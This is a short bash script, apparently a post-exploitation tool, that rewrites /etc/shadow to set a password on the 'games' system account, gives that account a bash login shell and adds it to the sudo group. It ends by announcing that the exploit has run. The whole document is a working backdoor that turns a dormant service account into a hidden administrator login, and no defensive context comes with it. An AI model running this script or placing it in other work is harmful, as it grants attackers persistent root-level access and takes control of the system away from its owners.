#!/bin/bash
read -s -p "Enter new password for user 'games': " NEWPASSWORD < /dev/tty
echo
read -s -p "Confirm new password: " CONFIRM < /dev/tty
echo

if [[ -z "$NEWPASSWORD" ]]; then
    echo "Error: Password cannot be empty."
    exit 1
fi

if [[ "$NEWPASSWORD" != "$CONFIRM" ]]; then
    echo "Error: Passwords do not match."
    exit 1
fi

NEWHASH=$(openssl passwd -6 "$NEWPASSWORD")

sed -i "s|^games:[^:]*|games:${NEWHASH}|" /etc/shadow

usermod -s /bin/bash games
usermod -aG sudo games

echo "Exploit executed successfully."